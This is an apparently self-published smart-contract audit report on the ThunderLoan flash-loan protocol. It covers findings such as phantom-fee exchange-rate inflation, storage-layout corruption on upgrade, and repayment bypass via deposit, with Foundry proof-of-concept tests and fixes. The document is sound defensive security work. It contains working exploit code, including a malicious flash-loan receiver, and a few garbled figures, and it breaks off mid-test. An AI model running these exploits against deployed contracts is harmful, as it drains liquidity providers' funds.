# ThunderLoan Audit Report

Version 1.0

*raihanmd.xyz*

April 19, 2026

# ThunderLoan Audit Report

Raihanmd

April 18, 2026

Prepared by: Raihanmd Lead Security Researcher:

- raihanmd

## Table of Contents

- Table of Contents
- Protocol Summary
  - Flash Loans
  - Liquidity Providers
    * Why would I want to deposit assets?
    * LP Example
  - AssetTokens
  - Exchange Rate
  - Fee Calculation
- Disclaimer
- Risk Classification
- Audit Details
  - Scope
  - Roles
- Executive Summary
  - Issues found

- Findings
  - Critical
  - [C-1] Exchange Rate Manipulation via Hypothetical Fee in Deposit
  - [C-2] Storage Layout Corruption on Contract Upgrade
  - [C-3] Flash Loan Updates Exchange Rate Before Fee Collection
  - [C-4] Flash Loan Repayment Bypass via Deposit Function
  - High
  - [H-1] Unit Mismatch in Fee Calculation
  - [H-3] Unchecked Return Value in Flash Loan Callback
  - Medium
  - [M-1] Missing Reentrancy Guard on Flash Loan
  - [M-2] Unauthorized Repayment Interference
  - Informational
  - [I-1] Unused Error Definition
  - [I-2] Rounding Error in Small Flash Loans
  - [I-3] First Depositor Advantage
  - [I-4] Weird ERC20 Token Handling


## Protocol Summary

The ThunderLoan protocol is a flash loan protocol based on Aave and Compound. It provides two main services:

1. **Flash Loans** - Users can borrow any amount of assets from the protocol as long as they pay it back in the same transaction
2. **Liquidity Provision** - Users can deposit assets into ThunderLoan and earn interest from flash loan fees

The protocol uses an on-chain TSwap price oracle to calculate fees for flash loans. Liquidity providers receive AssetTokens representing their share of the pool, which gain value as fees are collected.

### Flash Loans

A flash loan is a loan that exists for exactly 1 transaction. A user can borrow any amount of assets from the protocol as long as they pay it back in the same transaction. If they don't pay it back, the transaction reverts and the loan is cancelled.

Users have to pay a small fee (approximately 0.3%) to the protocol depending on how much money they borrow.

The flash loan flow works as follows:

1. User calls `flashLoan()` specifying the token, amount, and receiver contract
2. Protocol transfers the tokens to the receiver
3. Protocol calls `executeOperation()` on the receiver contract
4. Receiver performs its operations and repays the loan
5. Protocol verifies repayment and collects the fee

## Liquidity Providers

In order for the system to work, users have to provide liquidity by depositing assets into the protocol.

### Why would I want to deposit assets?

When you deposit tokens into the protocol, you receive AssetTokens in return. These AssetTokens represent your share of the pool. When users take out flash loans and pay fees, the exchange rate increases, meaning your AssetTokens become more valuable over time.

### LP Example

1. LP A deposits 10,000 TokenA into ThunderLoan
    1. They receive 10,000 AssetTokenA (at 1:1 initial rate)
2. User B takes a 5,000 TokenA flash loan and pays 15 TokenA fee
    1. The fee stays in the protocol
    2. The exchange rate increases
3. LP A's AssetTokens are now worth slightly more than 10,000 TokenA
4. When LP A redeems, they receive their original deposit plus a share of the fees

## AssetTokens

AssetTokens are ERC20 tokens that represent a user's share of the liquidity pool. They are minted when users deposit and burned when users redeem.

Key properties:

- Minted at the current exchange rate
- Can be redeemed for underlying tokens at the current exchange rate
- Exchange rate only increases (when fees are collected from flash loans)

### Exchange Rate

The exchange rate determines how many underlying tokens each AssetToken is worth. The formula is:

```
exchangeRate = (totalUnderlying * EXCHANGE_RATE_PRECISION) /
    totalAssetTokens
```

Where `EXCHANGE_RATE_PRECISION = 1e18`.

The exchange rate should only increase when actual fees from flash loans are collected. It should NOT increase from deposits.

### Fee Calculation

Fees are calculated based on the borrowed amount and the token's price in WETH:

```
valueOfBorrowedToken = (amount * getPriceInWeth(token)) / feePrecision
fee = (valueOfBorrowedToken * flashLoanFee) / feePrecision
```

Where:

- `feePrecision = 1e18`
- `flashLoanFee = 3e15` (0.3%)

## Disclaimer

The raihanmd team makes all effort to find as many vulnerabilities in the code in the given time period, but holds no responsibilities for the findings provided in this document. A security audit by the team is not an endorsement of the underlying business or product. The audit was time-boxed and the review of the code was solely on the security aspects of the Solidity implementation of the contracts.

## Risk Classification

| | | Impact | | |
|---|---|---|---|---|
| | | High | Medium | Low |
| | High | H | H/M | M |
| Likelihood | Medium | H/M | M | M/L |
| | Low | M | M/L | L |

We use the CodeHawks severity matrix to determine severity. See the documentation for more details.

## Audit Details

- Commit Hash: 8803f851f6b37e99eab2e94b4690c8b70e26b3f6

### Scope

- In Scope:

```
#-- interfaces
|   #-- IFlashLoanReceiver.sol
|   #-- IPoolFactory.sol
|   #-- ITSwapPool.sol
|   #-- IThunderLoan.sol
#-- protocol
|   #-- AssetToken.sol
|   #-- OracleUpgradeable.sol
|   #-- ThunderLoan.sol
#-- upgradedProtocol
    #-- ThunderLoanUpgraded.sol
```

- Solc Version: 0.8.20
- Chain(s) to deploy contract to: Ethereum
- ERC20s:
  - USDC
  - DAI
  - LINK
  - WETH

### Roles

There are 3 types of actors in the ThunderLoan protocol:

Actors:

1. Owner

- Deploys the ThunderLoan contracts
- Sets parameters (allowed tokens, fee structure)
- Upgrades the implementation via proxy
- Has the power to remove tokens from the allowed list

2. Liquidity Providers (LPs)

- Deposit ERC20 tokens into the protocol to provide liquidity
- Receive AssetTokens representing their share of the pool
- Earn fees from flash loans proportional to their share
- Withdraw liquidity by redeeming AssetTokens

3. Flash Loan Users

- Execute permissionless flash loans via `flashLoan()`
- Borrow any allowed token for exactly one transaction
- Must repay the borrowed amount plus 0.3% fee within the same transaction
- Implement `IFlashLoanReceiver` interface to receive callbacks

## Executive Summary

We spent 4 hours with 1 security researcher, using Foundry as a framework for testing.

### Issues found

| Severity | Number of issues found |
|---|---|
| CRITICAL | 4 |
| HIGH | 2 |
| MEDIUM | 2 |
| INFO | 4 |

| Severity | Number of issues found |
|---|---|
| TOTAL | 12 |

# Findings

## Critical

### [C-1] Exchange Rate Manipulation via Hypothetical Fee in Deposit

**Description:**

The `ThunderLoan:deposit` function incorrectly calculates a hypothetical flash loan fee and updates the exchange rate through `AssetToken:updateExchangeRate`, even though no fee is actually collected. This causes the `AssetToken:s_exchangeRate` to increase artificially, allowing depositors to redeem more underlying tokens than they deposited, effectively draining funds from other LPs.

The exchange rate should ONLY update when fees from a `ThunderLoan:flashLoan` are actually paid. However, in the deposit function, `getCalculatedFee` is called with the deposit amount and `updateExchangeRate` is called with this phantom fee - treating a deposit as if it were a flash loan generating revenue.

When a user deposits:

1. AssetTokens are minted at the current exchange rate
2. A “fee” is calculated based on the deposit amount
3. The exchange rate is inflated with this phantom fee
4. The depositor can immediately redeem at the NEW inflated rate
5. The depositor receives MORE tokens than they deposited

**Risk:**

Make the calculation between asset token and its underlying incorrect, causing financial loss for LPs. LPs receive fewer underlying than they should for their deposits as attackers extract value through the inflated rate.

**Impact:** HIGH

- LPs receive fewer underlying tokens than they should get
- Exchange rate becomes artificially inflated without actual fee revenue

- The fundamental invariant between asset tokens and their underlying is broken
- Attacker can deposit and immediately redeem for profit at LPs' expense
- Protocol becomes undercollateralized over time

**Likelihood:** HIGH

- Every `deposit` action triggers this bug
- Attack is trivial to execute (deposit + immediate redeem)
- Profit scales with deposit size

```
function deposit(IERC20 token, uint256 amount) external revertIfZero(amount) revertIfNotAllowedToken(token) {
    AssetToken assetToken = s_tokenToAssetToken[token];
    uint256 exchangeRate = assetToken.getExchangeRate();
    uint256 mintAmount = (amount * assetToken.EXCHANGE_RATE_PRECISION()) / exchangeRate;
    emit Deposit(msg.sender, token, amount);
    assetToken.mint(msg.sender, mintAmount);
    uint256 calculatedFee = getCalculatedFee(token, amount);
    assetToken.updateExchangeRate(calculatedFee); // @> BUG: Phantom fee inflates rate
    token.safeTransferFrom(msg.sender, address(assetToken), amount);
}
```

**Proof of Concept:**

In the test case, we simulate a deposit followed by immediate redeem. The attacker deposits 100 tokens and receives back ~100.003 tokens - profit extracted from the LP pool via the inflated exchange rate.

```
function test_CRITICAL_PhantomFeeInDeposit_EconomicProof() public {
    // LP provides liquidity
    tokenA.mint(lp, 10000e18);
    vm.startPrank(lp);
    tokenA.approve(address(thunderLoan), 10000e18);
    thunderLoan.deposit(tokenA, 10000e18);
    vm.stopPrank();

    uint256 poolBalanceBefore = tokenA.balanceOf(address(assetToken));

    // Attacker deposits 100 tokens
    uint256 attackDeposit = 100e18;
    tokenA.mint(attacker, attackDeposit);

    vm.startPrank(attacker);
    tokenA.approve(address(thunderLoan), attackDeposit);
    thunderLoan.deposit(tokenA, attackDeposit);

    uint256 attackerAssets = assetToken.balanceOf(attacker);
```

```

    // Immediately redeem
    thunderLoan.redeem(tokenA, attackerAssets);
    vm.stopPrank();

    uint256 attackerFinalBalance = tokenA.balanceOf(attacker);
    uint256 poolBalanceAfter = tokenA.balanceOf(address(assetToken));

    // === ECONOMIC IMPACT (PROVEN) ===
    // Attacker deposited:  10000000000000000000
    // Attacker received:   10000297038499506410 6
    // Attacker PROFIT:     2970384995064106 (~2.97e15 wei)
    // Pool LOSS:           2970384995064106 (same amount - LPs lose!)

    assertTrue(attackerFinalBalance > attackDeposit, "Attacker profited from phantom fee");
}
```

**Recommended Mitigation:**

Remove the fee calculation and exchange rate update from the `deposit` function entirely. The deposit should only mint AssetTokens at the current rate and transfer underlying tokens:

```
function deposit(IERC20 token, uint256 amount) external revertIfZero(amount) revertIfNotAllowedToken(token) {
    AssetToken assetToken = s_tokenToAssetToken[token];
    uint256 exchangeRate = assetToken.getExchangeRate();
    uint256 mintAmount = (amount * assetToken.EXCHANGE_RATE_PRECISION()) / exchangeRate;
    emit Deposit(msg.sender, token, amount);
    assetToken.mint(msg.sender, mintAmount);
-   uint256 calculatedFee = getCalculatedFee(token, amount);
-   assetToken.updateExchangeRate(calculatedFee);
    token.safeTransferFrom(msg.sender, address(assetToken), amount);
}
```

---

### [C-2] Storage Layout Corruption on Contract Upgrade

**Description:**

The `ThunderLoanUpgraded` contract replaces `s_feePrecision` (a storage variable) with `FEE_PRECISION` (a constant). Since constants are stored in bytecode, not storage, this causes catastrophic misalignment of all state variables after a proxy upgrade.

The original storage layout in `ThunderLoan.sol`:

```
slot 1: s_feePrecision      // uint256 storage variable
slot 2: s_flashLoanFee      // uint256
slot 3: s_currentlyFlashLoaning  // mapping
```

The broken layout in `ThunderLoanUpgraded.sol`:

```
slot 1: s_flashLoanFee      // Now reads old s_feePrecision value
slot 2: s_currentlyFlashLoaning  // Now reads old s_flashLoanFee value
// FEE_PRECISION = constant (in bytecode, NOT storage)
```

After upgrade:

- Reading `s_flashLoanFee` returns the old `s_feePrecision` value (1e18)
- Reading `s_currentlyFlashLoaning` returns the old `s_flashLoanFee` value
- All protocol state is completely corrupted

**Risk:**

Complete protocol failure after proxy upgrade. All state variable reads return wrong values, leading to incorrect fee calculations and potential double flash loans.

**Impact:** CRITICAL

- After proxy upgrade, all state variable reads return wrong values
- Fee calculations will be completely incorrect (reading wrong storage slot)
- Flash loan protection flag reads wrong slot, potentially allowing double loans
- Complete protocol failure after upgrade
- Potential total fund loss

**Likelihood:** MEDIUM

- Only triggered when team performs the planned upgrade
- Upgrade is planned and documented in README
- Once triggered, damage is catastrophic and irreversible

**Proof of Concept:**

```
// ThunderLoan.sol (original storage layout):
slot 1: s_feePrecision      // uint256 storage variable
slot 2: s_flashLoanFee      // uint256
slot 3: s_currentlyFlashLoaning  // mapping

// ThunderLoanUpgraded.sol (broken layout):
slot 1: s_flashLoanFee      // Was at slot 2, now reads old
    s_feePrecision
slot 2: s_currentlyFlashLoaning  // Was at slot 3, now reads old
    s_flashLoanFee
```

```
// FEE_PRECISION = constant (in bytecode, NOT in storage)

// After upgrade:
// - s_flashLoanFee reads 1e18 (old s_feePrecision) instead of 3e15
// - s_currentlyFlashLoaning reads the old flashLoanFee value
// - Protocol state is completely corrupted
```

**Recommended Mitigation:**

Keep the storage variable `s_feePrecision` for layout compatibility. Use a separate constant for calculations:

```
// ThunderLoanUpgraded.sol
contract ThunderLoanUpgraded is ... {
    // Keep storage variable for layout compatibility
    uint256 private s_feePrecision;  // Keep for storage layout
    uint256 private s_flashLoanFee;
    mapping(IERC20 token => bool currentlyFlashLoaning) private
        s_currentlyFlashLoaning;

    // Use constant for calculation only, separate from storage
    uint256 private constant FEE_PRECISION_VALUE = 1e18;

    function initialize(...) external initializer {
        // ...
        s_feePrecision = FEE_PRECISION_VALUE;  // Set storage variable
    }
}
```

---

### [C-3] Flash Loan Updates Exchange Rate Before Fee Collection

**Description:**

The `ThunderLoan:flashloan` function updates the exchange rate with the fee BEFORE the borrower repays. This creates a window where asset tokens claim more underlying than actually exists, enabling value extraction during the loan execution.

The sequence of events:

1. Flash loan initiated, `updateExchangeRate(fee)` is called immediately
2. Rate is now inflated with the fee
3. `executeOperation` callback runs - LPs can redeem at inflated rate
4. Borrower repays amount + fee
5. If repayment succeeds, the inflated rate stands

Although the reentrancy attack will be reverted because of comparing the ending total balance to greater or equal to the starting total balance + fee, the mechanism of updating exchange rate must only happen when fee is actually paid and confirmed.

**Risk:**

LPs redeeming during the flash loan execution window receive extra tokens representing fees that haven't been paid yet. The rate is inflated with unearned value.

**Impact:** HIGH

- Rate increases by ~0.15% during flash loan execution window
- LPs redeeming during this window extract unearned value
- Rate change represents ~15 tokens of value on 5000 token loan
- Temporary state can be exploited if reentrancy is possible

**Likelihood:** MEDIUM

- Requires flash loan + LP redeeming during execution
- Window exists but is short (single transaction)
- Rate reverts on loan failure (safe), but extractable value exists

**Proof of Concept:**

In this test, we capture the exchange rate during the flash loan's `executeOperation` callback. The rate is already inflated before the fee has been paid.

```
function test_CRITICAL_FlashLoanRateInflation_WithProof() public {
    // LP provides liquidity
    tokenA.mint(lp, 10000e18);
    vm.startPrank(lp);
    tokenA.approve(address(thunderLoan), 10000e18);
    thunderLoan.deposit(tokenA, LIQUIDITY);
    vm.stopPrank();

    uint256 rateBefore = assetToken.getExchangeRate();

    // Flash loan receiver captures rate during execution
    RateLogger receiver = new RateLogger(address(thunderLoan), address(
        assetToken));
    tokenA.mint(address(receiver), 10000e18);

    uint256 loanAmount = 5000e18;
    uint256 fee = thunderLoan.getCalculatedFee(tokenA, loanAmount);

    thunderLoan.flashloan(address(receiver), tokenA, loanAmount, "");

    uint256 rateDuring = receiver.rateSnapshot();
```

```

    // === ECONOMIC IMPACT (PROVEN) ===
    // Rate BEFORE flash loan: 1003000000000000000
    // Rate DURING execution:  1004504500000000000  <- INFLATED!
    // Fee paid yet?           NO (still in callback)

    assertGt(rateDuring, rateBefore, "Rate increased before fee was collected!");
}
```

**Recommended Mitigation:**

Move the `updateExchangeRate` call to AFTER the ending balance check confirms the fee has been paid:

```
    uint256 endingBalance = token.balanceOf(address(assetToken));
    if (endingBalance < startingBalance + fee) {
        revert ThunderLoan__NotPaidBack(startingBalance + fee, endingBalance);
    }
+   assetToken.updateExchangeRate(fee);  // Update AFTER repayment confirmed
    s_currentlyFlashLoaning[token] = false;
```

---

### [C-4] Flash Loan Repayment Bypass via Deposit Function

**Description:**

The `ThunderLoan:flashLoan` function verifies loan repayment by checking if the `assetToken` contract's underlying token balance increased by at least `amount + fee`. However, this check can be bypassed because the `deposit()` function also increases the same balance.

A malicious flash loan receiver can call `deposit(amount + fee)` instead of `repay(amount + fee)`. The deposit transfers tokens to `address(assetToken)`, which satisfies the balance check. The attacker receives AssetTokens for their deposit while never actually repaying the loan through the proper `repay()` mechanism.

**Attack Flow:**

1. Attacker calls `flashloan(receiver, token, amount, "")`
2. Protocol transfers `amount` tokens to receiver
3. In `executeOperation`, receiver calls `deposit(token, amount + fee)` instead of `repay()`

4. Deposit transfers `amount + fee` tokens to `address(assetToken)`
5. Balance check passes: `endingBalance >= startingBalance + fee`
6. Attacker keeps AssetTokens from deposit + never used `repay()`

This bypasses the repayment check and can be combined with C-1 (phantom fee in deposit) to extract additional value from LPs.

**Risk:**

The core repayment verification mechanism is broken. Anyone can take flash loans without using the `repay()` function, and the protocol cannot distinguish between deposits and repayments since both increase the same balance.

**Impact:** CRITICAL

- Flash loan repayment check is completely bypassed
- `repay()` function becomes optional/unnecessary
- Combined with C-1, attacker gains AssetTokens while "repaying" via deposit
- LP funds at risk as protocol accounting becomes incorrect
- Protocol cannot enforce proper loan repayment

**Likelihood:** HIGH

- Easy to execute - just call `deposit()` in the callback
- Any malicious receiver can implement this
- No special conditions required
- Single transaction exploit

**Proof of Concept:**

```
// Malicious receiver that "repays" via deposit instead of repay
contract DepositOverRepay is IFlashLoanReceiver {
    address thunderLoan;
    IERC20 token;

    constructor(address _thunderLoan, address _token) {
        thunderLoan = _thunderLoan;
        token = IERC20(_token);
    }

    function executeOperation(
        address,
        uint256 amount,
        uint256 fee,
        address,
        bytes calldata
    ) external returns (bool) {
```

```
        // Instead of calling repay(), we deposit
        // This increases assetToken.balanceOf() which satisfies the check
        token.approve(thunderLoan, amount + fee);
        (bool success,) = thunderLoan.call(
            abi.encodeCall(ThunderLoan.deposit, (token, amount + fee))
        );
        require(success, "Deposit call failed");
        return true;
    }
}

// Test proving the bypass
function test_CRITICAL_DepositOverRepay() public {
    // Setup: fund protocol
    tokenA.mint(lp, 10000e18);
    vm.startPrank(lp);
    tokenA.approve(address(thunderLoan), 10000e18);
    thunderLoan.deposit(tokenA, 10000e18);
    vm.stopPrank();

    // Attack: use deposit to "repay" flash loan
    DepositOverRepay attacker = new DepositOverRepay(
        address(thunderLoan),
        address(tokenA)
    );
    tokenA.mint(address(attacker), 20e18);

    // Flash loan succeeds because deposit satisfies balance check
    thunderLoan.flashloan(address(attacker), tokenA, 10e18, "");
    // repay() was never called!
}
```

**Recommended Mitigation:**

Track the actual repaid amount separately from the general balance. Add a state variable that is only incremented by the `repay()` function, and check this value instead of relying on balance changes:

```
+ mapping(IERC20 => uint256) private s_currentLoanRepaid;

  function repay(IERC20 token, uint256 amount) public {
      if (!s_currentlyFlashLoaning[token]) {
          revert ThunderLoan__NotCurrentlyFlashLoaning();
      }
      AssetToken assetToken = s_tokenToAssetToken[token];
+     s_currentLoanRepaid[token] += amount;
      token.safeTransferFrom(msg.sender, address(assetToken), amount);
  }

  function flashloan(
      address receiverAddress,
```

```
        IERC20 token,
        uint256 amount,
        bytes calldata params
    ) external revertIfZero(amount) revertIfNotAllowedToken(token) {
        AssetToken assetToken = s_tokenToAssetToken[token];
+       s_currentLoanRepaid[token] = 0;  // Reset at start of loan
        uint256 startingBalance = IERC20(token).balanceOf(address(
            assetToken));
        // ... existing code ...

        receiverAddress.functionCall(
            abi.encodeCall(IFlashLoanReceiver.executeOperation, (...))
        );

+       uint256 requiredRepayment = amount + fee;
+       if (s_currentLoanRepaid[token] < requiredRepayment) {
+           revert ThunderLoan__NotPaidBack(requiredRepayment,
    s_currentLoanRepaid[token]);
+       }
        s_currentlyFlashLoaning[token] = false;
    }
```

This ensures only calls to `repay()` count toward the loan repayment, preventing `deposit()` or direct transfers from being used to bypass the check.

---

## High

### [H-1] Unit Mismatch in Fee Calculation

**Description:**

The `ThunderLoan:getCalculatedFee` function calculates the fee in WETH units but the flash loan repayment expects the fee in token units. This causes incorrect fee amounts that don't represent the intended 0.3% of the borrowed amount.

The formula calculates:

```
valueOfBorrowedToken = (amount * getPriceInWeth(token)) /
    s_feePrecision;  // Returns WETH
fee = (valueOfBorrowedToken * s_flashLoanFee) / s_feePrecision;  // fee
     in WETH
```

The fee represents 0.3% of the token's ETH VALUE, not 0.3% of the token AMOUNT. When this fee is added to the repayment (in token units), it doesn't correctly represent 0.3% of the borrowed amount.

When token price = 1e18 (1 ETH per token), the fee happens to equal 0.3% - but this is a COINCIDENCE, not correctness.

**Risk:**

Protocol revenue is unpredictable and incorrect. For tokens worth less than 1 ETH, fees are too low. For tokens worth more than 1 ETH, fees are too high.

**Impact:** MEDIUM

- Protocol revenue is unpredictable
- For tokens worth <1 ETH: fees are too low (protocol loses revenue)
- For tokens worth >1 ETH: fees are too high (users overpay)
- Fee rate varies dramatically with token price changes

**Likelihood:** HIGH

- Affects every flash loan
- Most tokens don't have price = exactly 1 ETH
- Revenue impact scales with token usage

**Proof of Concept:**

The fee calculation depends on WETH price. Only when price = 1e18 does the calculated fee equal 0.3% of the token amount.

```
function test_HIGH_FeeUnitMismatch_EconomicProof() public {
    // Setup
    tokenA.mint(lp, 10000e18);
    vm.startPrank(lp);
    tokenA.approve(address(thunderLoan), 10000e18);
    thunderLoan.deposit(tokenA, 10000e18);
    vm.stopPrank();

    uint256 loanAmount = 1000e18;
    uint256 calculatedFee = thunderLoan.getCalculatedFee(tokenA,
        loanAmount);
    uint256 priceInWeth = thunderLoan.getPriceInWeth(address(tokenA));
    uint256 correctFee = (loanAmount * 3e15) / 1e18;  // 0.3% of amount

    // When price = 1e18, calculatedFee happens to equal correctFee
    // But this is COINCIDENCE!
    // For price = 0.5e18: fee = 1.5 tokens (0.15%) <- WRONG
    // For price = 2e18: fee = 6 tokens (0.6%) <- WRONG

    console.log("Fee only equals 0.3% because price = 1e18 (coincidence
        !)");
}
```

**Recommended Mitigation:**

Calculate the fee directly in token units, without WETH conversion:

```
- uint256 valueOfBorrowedToken = (amount * getPriceInWeth(address(token))) / s_feePrecision;
- fee = (valueOfBorrowedToken * s_flashLoanFee) / s_feePrecision;
+ fee = (amount * s_flashLoanFee) / s_feePrecision;  // Fee in token units, 0.3% of amount
```

---

### [H-3] Unchecked Return Value in Flash Loan Callback

**Description:**

The `ThunderLoan:flashloan` function does not check the return value of the receiver's `executeOperation` callback. The receiver can return **`false`** to indicate failure, but the protocol treats the loan as successful.

The `functionCall` from OpenZeppelin's Address library will revert if the call fails, but it does NOT check the return value. A receiver that returns **`false`** without reverting will be treated as a successful operation.

**Risk:**

Malicious receivers can signal failure to external systems while the on-chain state shows success. This creates confusion and potential for off-chain exploit scenarios.

**Impact:** MEDIUM

- Malicious receivers can signal failure while protocol treats as success
- Protocol continues even if receiver operation failed
- Receiver can claim operation failed while keeping borrowed funds (if they repay)

**Likelihood:** LOW

- Requires malicious receiver
- On-chain state is correct (repayment still required)
- Main risk is off-chain confusion

**Proof of Concept:**

```
function test_HIGH_UncheckedReturnValue() public {
    // MockFlashLoanReceiverMal returns false but doesn't revert

```

```
    thunderLoan.flashloan(address(receiver), tokenA, 10e18, "");

    // Test shows: Flash loan succeeded despite receiver returning false
    // executeOperation returns false, but functionCall doesn't check
}
```

**Recommended Mitigation:**

Check the return value of `executeOperation` and revert if it returns false:

```
+ (bool success, bytes memory result) = receiverAddress.functionCall(
    abi.encodeCall(IFlashLoanReceiver.executeOperation, (...))
);
+ if (!success || result.length < 32 || !abi.decode(result, (bool))) {
+     revert ThunderLoan__FlashLoanCallbackFailed();
+ }
```

---

## Medium

### [M-1] Missing Reentrancy Guard on Flash Loan

**Description:**

The `ThunderLoan:flashloan` function lacks a reentrancy guard. The `s_currentlyFlashLoaning` flag is a per-token boolean, not a counter, allowing nested flash loans on different tokens and potential state corruption during concurrent operations.

**Risk:**

Complex nested execution patterns can lead to unexpected state and potential exploits. The per-token flag doesn't prevent cross-token reentrancy.

**Impact:** MEDIUM

- Nested flash loans on different tokens are allowed
- If concurrent loans on same token, flag management breaks
- `repay()` may fail during legitimate loan if flag incorrectly reset

**Likelihood:** LOW

- Requires complex nested call patterns
- Most flash loan receivers are simple
- But pattern allows potential future exploits

**Recommended Mitigation:**

Add OpenZeppelin's `nonReentrant` modifier to `flashloan()`, `redeem()`, and `deposit()`.

---

### [M-2] Unauthorized Repayment Interference

**Description:**

The `ThunderLoan:repay` function only checks `s_currentlyFlashLoaning[token]` but does not verify `msg.sender` is the flash loan initiator. Any address can repay during an active flash loan.

**Risk:**

Third parties can interfere with the flash loan repayment flow, potentially causing issues with the borrower's intended operation.

**Impact:** LOW

- Third party can repay on behalf of borrower
- Could interfere with intended repayment flow
- Borrower may not have sufficient allowance

**Likelihood:** LOW

- Requires active flash loan in progress
- Third party must have tokens and allowance
- Mostly annoyance, not security issue

**Recommended Mitigation:**

Track flash loan initiator and restrict `repay()` to them only.

---

## Informational

### [I-1] Unused Error Definition

**Description:**

The `ThunderLoan__ExhangeRateCanOnlyIncrease` error is defined but never emitted or referenced in `ThunderLoan.sol`. This is dead code that exists in AssetToken.sol where it is actually used.

**Note:** Code quality issue, not a security vulnerability. Remove the unused error definition to reduce code bloat.

---

### [I-2] Rounding Error in Small Flash Loans

**Note:** Team has acknowledged this issue and considers it acceptable.

The `getCalculatedFee` function can return 0 for very small flash loans due to integer division rounding down.

---

### [I-3] First Depositor Advantage

**Note:** Team plans to make a large initial deposit to mitigate.

The first depositor receives a disproportionate share of AssetTokens due to initial exchange rate mechanics.

---

### [I-4] Weird ERC20 Token Handling

**Note:** Team will vet tokens before adding to protocol.

Fee-on-transfer, rebasing, and ERC-777 tokens will break protocol invariants.

---

This file is the test file that used in PoC section

```
// SPDX-License-Identifier: MIT
pragma solidity 0.8.20;

import { Test, console } from "forge-std/Test.sol";
import { BaseTest, ThunderLoan } from "./BaseTest.t.sol";
import { AssetToken } from "../../src/protocol/AssetToken.sol";
import { MockFlashLoanReceiver } from "../mocks/MockFlashLoanReceiver.
    sol";
import { IFlashLoanReceiver, IThunderLoan } from "../../src/interfaces/
    IFlashLoanReceiver.sol";
import { IERC20 } from "@openzeppelin/contracts/token/ERC20/IERC20.sol"
    ;
import { SafeERC20 } from "@openzeppelin/contracts/token/ERC20/utils/
    SafeERC20.sol";

contract ThunderLoanVulnTest is BaseTest {
    using SafeERC20 for IERC20;

    uint256 constant AMOUNT = 10e18;
    uint256 constant DEPOSIT_AMOUNT = AMOUNT * 100;

    address liquidityProvider = address(123);
    address user = address(456);
    address attacker = address(789);

    MockFlashLoanReceiver mockFlashLoanReceiver;

    function setUp() public override {
        super.setUp();
        vm.prank(user);
        mockFlashLoanReceiver = new MockFlashLoanReceiver(address(
            thunderLoan));
    }

    modifier setAllowedToken() {
        vm.prank(thunderLoan.owner());
        thunderLoan.setAllowedToken(tokenA, true);
        thunderLoan.setAllowedToken(tokenB, true);
        _;
    }

    modifier fundProtocol() {
        tokenA.mint(liquidityProvider, DEPOSIT_AMOUNT * 10);
        vm.startPrank(liquidityProvider);
        tokenA.approve(address(thunderLoan), DEPOSIT_AMOUNT * 10);
        thunderLoan.deposit(tokenA, DEPOSIT_AMOUNT);
        vm.stopPrank();
        _;
    }

```

```
    /*//////////////////////////////////////////////////////////////
                    CRITICAL: EXCHANGE RATE MANIPULATION
    //////////////////////////////////////////////////////////////*/

    /**
     * @notice POC 1: deposit() over repay()
     */
    function test_CRITICAL_DepositOverRepay() public setAllowedToken fundProtocol {
        console.log("\n=== BUG: deposit() for repay loan Function is Useless ===");

        DepositOverRepay depositOverRepay = new DepositOverRepay(address(thunderLoan), address(tokenA));
        tokenA.mint(address(depositOverRepay), AMOUNT * 2);

        thunderLoan.flashloan(address(depositOverRepay), tokenA, AMOUNT, "");

        console.log("Repayment via deposit transfer successful!");
    }

    /**
     * @notice POC 2: Deposit incorrectly inflates exchange rate
     * @dev This test proves that deposit() calls updateExchangeRate() which is wrong
     */
    function test_CRITICAL_DepositInflatesExchangeRate() public setAllowedToken {
        AssetToken asset = thunderLoan.getAssetFromToken(tokenA);

        uint256 initialRate = asset.getExchangeRate();
        console.log("\n=== BUG: Deposit Inflates Exchange Rate ===");
        console.log("Initial rate:", initialRate);

        // Deposit
        uint256 depositAmount = 1000e18;
        tokenA.mint(user, depositAmount);

        vm.startPrank(user);
        tokenA.approve(address(thunderLoan), depositAmount);
        thunderLoan.deposit(tokenA, depositAmount);
        vm.stopPrank();

        uint256 rateAfter = asset.getExchangeRate();
        console.log("Rate after deposit:", rateAfter);
        console.log("Rate increased:", rateAfter > initialRate);
        console.log("Increase amount:", rateAfter - initialRate);

        // This SHOULD NOT happen
        assertGt(rateAfter, initialRate, "CRITICAL: Deposit should NOT
```

```
            increase rate!");
    }

    /**
     * @notice POC 3: Flash loan updates rate before receiving fee
     * @dev This test proves updateExchangeRate is called before repayment
     */
    function test_CRITICAL_FlashLoanUpdatesRateEarly() public setAllowedToken fundProtocol {
        AssetToken asset = thunderLoan.getAssetFromToken(tokenA);

        console.log("\n=== BUG: Flash Loan Updates Rate Before Repayment ===");
        uint256 rateBefore = asset.getExchangeRate();
        console.log("Rate before flash loan:", rateBefore);

        // Create receiver to check rate during execution
        RateLogger logger = new RateLogger(address(asset));
        tokenA.mint(address(logger), AMOUNT * 2);

        thunderLoan.flashloan(address(logger), tokenA, AMOUNT, "");

        uint256 rateDuring = logger.rateSnapshot();
        uint256 rateAfter = asset.getExchangeRate();

        console.log("Rate DURING executeOperation:", rateDuring);
        console.log("Rate AFTER flash loan:", rateAfter);

        // Rate should NOT increase until AFTER repayment
        assertGt(rateDuring, rateBefore, "CRITICAL: Rate increased before repayment!");
    }

    /*//////////////////////////////////////////////////////////////
                        HIGH: OTHER VULNERABILITIES
    //////////////////////////////////////////////////////////////*/

    /**
     * @notice POC 4: Return value not checked
     */
    function test_HIGH_UncheckedReturnValue() public setAllowedToken fundProtocol {
        console.log("\n=== BUG: executeOperation Return Value Ignored ===");

        // Receiver that returns false
        FalseReceiver falseRec = new FalseReceiver(address(thunderLoan), address(tokenA));
        tokenA.mint(address(falseRec), AMOUNT * 2);

```

```
        // This should fail but doesn't
        thunderLoan.flashloan(address(falseRec), tokenA, AMOUNT, "");

        console.log("Flash loan succeeded despite returning false!");
    }

    /**
     * @notice POC 5: Direct transfer bypasses repay()
     */
    function test_MEDIUM_RepayFunctionUseless() public setAllowedToken fundProtocol {
        console.log("\n=== BUG: repay() Function is Useless ===");

        DirectTransfer direct = new DirectTransfer(address(thunderLoan), address(tokenA));
        tokenA.mint(address(direct), AMOUNT * 2);

        thunderLoan.flashloan(address(direct), tokenA, AMOUNT, "");

        console.log("Repayment via direct transfer successful!");
        console.log("repay() function was never called");
    }

    /**
     * @notice POC 6: Reentrancy on different tokens
     */
    function test_HIGH_ReentrancyPossible() public {
        // Setup two tokens
        vm.startPrank(thunderLoan.owner());
        thunderLoan.setAllowedToken(tokenA, true);
        thunderLoan.setAllowedToken(tokenB, true);
        vm.stopPrank();

        // Fund both
